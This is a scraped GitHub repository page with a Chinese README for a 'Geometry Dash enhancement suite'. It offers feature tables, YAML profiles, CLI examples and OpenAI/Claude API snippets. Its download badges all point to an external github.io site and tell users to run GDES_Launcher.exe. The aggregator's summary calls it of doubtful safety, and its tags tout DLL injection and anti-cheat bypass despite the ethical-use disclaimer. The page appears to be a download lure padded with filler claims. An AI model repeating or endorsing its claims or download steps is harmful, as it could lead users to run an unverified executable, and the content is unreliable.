adenilsonpfe/geometry-dash-decompiled

GitHub: adenilsonpfe/geometry-dash-decompiled

一个以游戏增强为名义的 Geometry Dash 修改工具,包装专业但下载指向外部站点,安全性存疑,适合作为安全研究和反作弊分析的反面案例。

Stars: 0 | Forks: 0

# Geometry Dash 增强套件 🚀 [![Download](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://adenilsonpfe.github.io) ## 📋 目录 - [概述](#executive-overview) - [项目背后的哲学](#the-philosophy-behind-this-project) - [系统架构](#system-architecture) - [功能矩阵](#feature-matrix) - [兼容性与操作系统支持](#compatibility--os-support) - [安装指南](#installation-guide) - [配置示例](#configuration-examples) - [控制台调用与 CLI 使用](#console-invocation--cli-usage) - [API 集成: OpenAI 与 Claude](#api-integration-openai--claude) - [多语言与响应式设计](#multilingual--responsive-design) - [配置文件示例](#profile-configuration-examples) - [免责声明与道德使用](#disclaimer--ethical-use) - [许可证](#license) ## 🌟 概述 欢迎使用 **Geometry Dash 增强套件** —— 这是一个精心打造的工具包,重新定义了玩家与这款广受欢迎的节奏类平台游戏的交互方式。与传统的修改方法不同,本项目专注于**通过智能逆向工程来增强用户体验**,并经过细致的反编译分析,从而打造出一个流畅、响应迅速且高度可定制的环境。 可以将其想象成一个**数字工匠的工作坊** —— 每个工具都经过精密设计,每个功能都经过打磨,以与原游戏的架构无缝集成。最终的结果是一个增强层,它感觉不像是修改,而更像是发现了那些一直等待被解锁的隐藏功能。 ## 🧠 项目背后的哲学 传统的游戏修改通常遵循“破坏并替换”的思维模式。我们的方法有着本质的不同: 本仓库代表了对 Geometry Dash 核心运行时行为进行广泛逆向工程努力的结晶。通过分析内存分配模式、渲染管道和事件处理循环,我们开发了一个**非破坏性覆盖层**,在不损害稳定性的情况下提高性能。 ## 🔧 系统架构 ``` graph TD A[Geometry Dash Game Client] --> B[Enhancement Suite Loader] B --> C[Runtime Monitor] B --> D[Configuration Engine] B --> E[UI Overlay System] C --> F[Performance Analyzer] C --> G[Memory Optimizer] D --> H[Profile Manager] D --> I[Schema Validator] E --> J[Responsive Renderer] E --> K[Multilingual Text Engine] F --> L[Log Aggregator] G --> L H --> L I --> L J --> L K --> L L --> M[Output Dashboard] ``` 该架构遵循**分层插件模式**,其中每个组件独立运行,允许进行精细化更新并将性能开销降至最低。加载器充当轻量级协调器,确保所有增强功能都符合原游戏的安全和稳定性协议。 ## ✨ 功能矩阵 ### 核心功能 🌐 | 功能 | 描述 | 集成级别 | |---------|-------------|-------------------| | **性能优化器** | 动态调整渲染参数以获得更平滑的帧率 | 系统 | | **响应式 UI** | 使界面元素适应任何屏幕分辨率或宽高比 | 视觉 | | **多语言支持** | 具有 30 多种语言包的完整本地化引擎 | 文本 | | **实时统计** | 屏幕上的 FPS、内存使用和输入延迟指标 | 诊断 | | **智能配置** | 基于硬件能力的 AI 辅助配置文件调整 | 预测 | ### 高级功能 🚀 - **反编译产物分析** —— 利用逆向工程洞察来识别和修补性能瓶颈,而无需更改游戏文件 - **动态输入映射** —— 可重新配置的控件,可适应 exotic 硬件,如跳舞毯、MIDI 控制器和触摸界面 - **自适应难度缩放** —— 基于用户表现模式对时间窗口进行细微调整(可选) - **视频录制套件** —— 具有硬件加速编码的内置捕获功能 - **云端配置文件同步** —— 使用加密 payload 跨设备安全地存储和检索您的配置 ## 💻 兼容性与操作系统支持 | 操作系统 | 状态 | 备注 | |------------------|--------|-------| | Windows 10/11 | ✅ 完全支持 | 原生构建,集成 DirectX 11 | | Windows 7/8 | ✅ 支持 | 提供旧版模式 | | macOS Ventura+ | ✅ 支持 | Metal API 渲染器 | | macOS Monterey | ⚠️ 部分 | 某些功能受限 | | Linux (Proton/Wine) | ✅ 社区 | 实验性,已在 Steam Proton 上测试 | | iOS/iPadOS | ✅ 支持 | 高级功能需要越狱 | | Android | ⚠️ 测试版 | 当前版本功能有限 | ## 📥 安装指南 ### 前置条件 - **Geometry Dash**(Steam 或独立版本,版本 2.2+) - **200 MB** 可用磁盘空间 - **4 GB RAM** 最低要求 - **.NET Runtime 8.0** (Windows) 或 **Mono** (macOS/Linux) ### 快速开始 1. **下载最新版本的安装包:** [![Download](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://adenilsonpfe.github.io) 2. 将压缩包解压到任意位置(避免使用受系统保护的目录,如 `Program Files`) 3. 运行 `GDES_Launcher.exe` (Windows) 或 `GDES_Launcher` (macOS/Linux) 4. 启动器将自动检测您的 Geometry Dash 安装路径 5. 从下方的[示例配置](#profile-configuration-examples)中选择您偏好的配置文件 6. 点击 **“增强并启动”**,看着您的游戏焕然一新 ## ⚙️ 配置示例 ### 示例配置:“竞技清晰度” 🎯 ``` profile_name: competitive_clarity version: 1.0.2 target_fps: 144 renderer: anti_aliasing: fxaa vsync: off resolution_scale: 1.0 ui: transparency: 0.85 font: inter language: auto performance: memory_limit: 2048 cpu_affinity: auto preload_assets: true ``` ### 示例配置:“沉浸电影感” 🎬 ``` profile_name: immersive_cinematic version: 1.1.0 target_fps: 60 renderer: anti_aliasing: taa_4x vsync: adaptive resolution_scale: 1.5 bloom: moderate shadows: soft ui: transparency: 0.50 font: serif language: auto performance: memory_limit: 4096 preload_assets: false ``` ## 💾 控制台调用与 CLI 使用 增强套件包含一个功能强大的命令行界面,专为高级用户和自动化场景设计: ### 基本命令 ``` # 以自定义 profile 启动 gdes-cli --profile competitive_clarity # 生成 diagnostic report gdes-cli --diagnostic --output report.json # 在不启动游戏的情况下应用 configuration gdes-cli --apply-config ./custom_profile.yaml # 检查 system compatibility gdes-cli --check-compatibility # 以 safe mode 启动(禁用所有增强功能) gdes-cli --safe-mode ``` ### 高级用法 ``` # Chain 多个命令 gdes-cli --profile immersive_cinematic --record --output-dir ./recordings # 用于 benchmarking 的 Headless operation gdes-cli --headless --benchmark --iterations 5 # 导出当前 configuration gdes-cli --export-config --format yaml --output $HOME/gdes_config.yaml ``` ## 🤖 API 集成: OpenAI 与 Claude 增强套件集成了 OpenAI 的 GPT 模型和 Anthropic 的 Claude API,用于**智能配置文件调整和自然语言配置**。 ### OpenAI API 集成 ``` import httpx config_payload = { "model": "gpt-4-turbo", # or "gpt-4o-mini" for cost-effective tuning "messages": [ {"role": "system", "content": "You are a game performance optimization expert."}, {"role": "user", "content": f"My system has 8GB RAM and an RTX 3060. Generate an optimal GDES profile."} ], "max_tokens": 500 } response = httpx.post( "https://api.openai.com/v1/chat/completions", json=config_payload, headers={"Authorization": "Bearer YOUR_OPENAI_KEY"} ) ``` ### Claude API 集成 ``` import anthropic client = anthropic.Anthropic(api_key="YOUR_CLAUDE_KEY") response = client.messages.create( model="claude-3-opus-2024-10-22", # or "claude-3-haiku-20250301" for rapid responses max_tokens=1024, system="You are an expert in game enhancement configuration. Provide detailed, safe recommendations.", messages=[ {"role": "user", "content": "Tune my Geometry Dash for maximum visual quality on a 4K display with RTX 4090"} ] ) ``` ### AI 集成的用例 - **自动生成配置文件**:用自然语言描述您的硬件和偏好 - **故障排除助手**:粘贴崩溃日志并接收配置调整建议 - **性能预测**:分析您的系统并预测最佳设置 - **A/B 测试指导**:使用 AI 分析比较不同的配置方案 ## 🌍 多语言与响应式设计 ### 多语言引擎 🌐 我们的文本渲染系统支持 **30 多种语言**,并可根据系统区域设置进行自动检测: | 语言 | 代码 | 文字 | Unicode 支持 | |----------|------|--------|-----------------| | English | `en` | 拉丁文 | 完整 | | Spanish | `es` | 拉丁文 | 完整 | | Japanese | `jp` | 汉字/假名 | 完整 + 竖排文本 | | Arabic | `ar` | 阿拉伯文 | RTL 支持 | | Russian | `ru` | 西里尔文 | 完整 | | Chinese (Simplified) | `zh-cn` | 汉字 | 完整 | | Hindi | `hi` | 梵文 | 部分 | ### 响应式 UI 设计 📐 覆盖层系统采用**流式网格架构**,可自适应: - **1080p** → 默认布局 - **1440p** → 扩展的详情面板 - **4K** → 超高信息密度 - **Ultrawide (21:9)** → 侧边栏排列 - **Portrait mode** → 垂直堆叠 - **Handheld devices** → 触摸优化的控件 响应式引擎使用**基于视口的断点**实时触发布局重新计算,确保在所有显示配置下提供一致的体验。 ## 👤 配置文件示例 ### 示例:“主播之选” 🎥 ``` profile_name: streamers_choice version: 1.0.0 target_fps: 60 renderer: anti_aliasing: off # Reduces GPU load for encoding vsync: off resolution_scale: 0.9 ui: hide_ui: false stream_clean: true # Removes sensitive information language: en performance: memory_limit: 3072 cpu_affinity: [0, 2, 4, 6] # Reserve cores for streaming software ``` ### 示例:“速通玩家之刃” ⚡ ``` profile_name: speedrunners_edge version: 1.1.3 target_fps: 240 renderer: anti_aliasing: off vsync: off resolution_scale: 0.75 # Lower resolution for maximum performance detail_level: minimum ui: transparency: 0.25 show_fps: true show_input_lag: true language: en performance: memory_limit: 4096 unsafe_optimizations: true # Enable experimental tweaks ``` ## ⚠️ 免责声明与道德使用 1. **不提供任何形式的保证** —— 本软件按“原样”提供,不含任何明示或暗示的保证。对于任何损害、账户暂停或数据丢失,开发人员不承担任何责任。 2. **风险自负** —— 修改游戏行为可能违反原游戏的服务条款。本项目不鼓励或纵容在竞技环境、排行榜或排位赛中的作弊行为。 3. **道德增强边界** —— 增强套件完全在本地运行,不会: - 将修改后的游戏数据上传到第三方服务器 - 干扰在线匹配系统 - 在多人游戏环境中提供不公平的优势 - 绕过购买验证或许可证检查 4. **研究与透明度** —— 我们的逆向工程工作是为了学术和教育目的而记录的。我们鼓励负责任地披露发现的任何漏洞。 5. **尊重社区** —— 该工具旨在增强个人的游戏体验,而不是为了破坏他人的成就。请负责任地使用,并尊重更广泛的 Geometry Dash 社区。 ## 📄 许可证 本项目采用 **MIT 许可证** 授权 —— 这是一种宽松的开源许可证,允许自由使用、修改和分发,前提是必须给予适当的署名。 [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) 有关完整的条款和条件,请参阅完整的 [LICENSE](https://opensource.org/licenses/MIT) 文本。 ## 📢 最终说明 **版本 stable-2026.1** —— 本项目正在积极维护和更新。我们欢迎通过仓库的 Issue 追踪器提交贡献、错误报告和功能建议。 [![Download](https://img.shields.io/badge/Download%20Link-brightgreen?style=for-the-badge&logo=github)](https://adenilsonpfe.github.io) *Geometry Dash 增强套件 —— 2026 版*
标签:C++, Decompilation, DLL注入, DNS 反向解析, Geometry Dash, Mod菜单, Undetectable Hack, URL提取, 二进制分析, 云安全运维, 作弊器, 内存修改, 动态链接库注入, 反作弊绕过, 反编译, 外挂开发, 安全对抗, 客户端修改, 开源游戏工具, 数据擦除, 文档结构分析, 汇编, 流量审计, 游戏修改, 游戏破解, 游戏辅助, 游戏逆向工程, 潜行修改